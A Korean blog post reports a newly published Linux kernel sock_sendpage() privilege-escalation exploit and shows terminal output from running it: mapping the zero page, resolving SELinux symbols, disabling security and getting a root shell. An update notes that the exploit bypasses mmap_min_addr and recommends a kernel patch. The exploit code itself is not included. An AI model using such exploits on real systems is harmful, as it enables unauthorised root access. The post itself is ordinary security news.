리눅스 커널 sock_sendpage() exploit 보안(Security)

약 10시간 전 쯤에 milw0rm을 보다가 새로운 익스플로잇이 나온걸 확인했습니다.

요즘 ISEC 때문에 정신없어서 좀 늦게 확인했는데, 어쨋든 신선한 소식입니다!,

sock_sendpage() 내부의 취약성을 이용한것 같은데, 오우.. 멋지네요. ㅎㅎ

아래는 공격코드 실행 결과입니다.

[hkpco@servera122 wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0801494
[+] Resolved selinux_enabled to 0xc06e5e20
[+] Resolved security_ops to 0xc07ff9c0
[+] Resolved sel_read_enforce to 0xc04c43b0
[+] Resolved audit_enabled to 0xc07f31a0
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.2# id
uid=0(root) gid=0(root) groups=518(hkpco)


관련 익스플로잇은 다음 링크에서 확인하실 수 있습니다.



그리고!, 임시 패치는 아래 링크의 스크립트를 실행시키면 된다고 합니다.



언제 시간나면 한 번 살펴봐야겠습니다. ㅎㅎ

-----------------------------------------------------------------------

너무 성급하게 올린 나머지 잘못 쓴 내용이 있는데,

익스플로잇 코드 내에 mmap_min_addr을 우회하는 테크닉이 들어가 있기 때문에 위에서 말한 임시 패치로는 방어가 되지 않습니다.
커널 패치가 가장 좋은 방법입니다.


트랙백

이 글과 관련된 글 쓰기 (트랙백 보내기)
TrackbackURL : http://hkpco.egloos.com/tb/1497308 [도움말]

덧글

덧글 입력 영역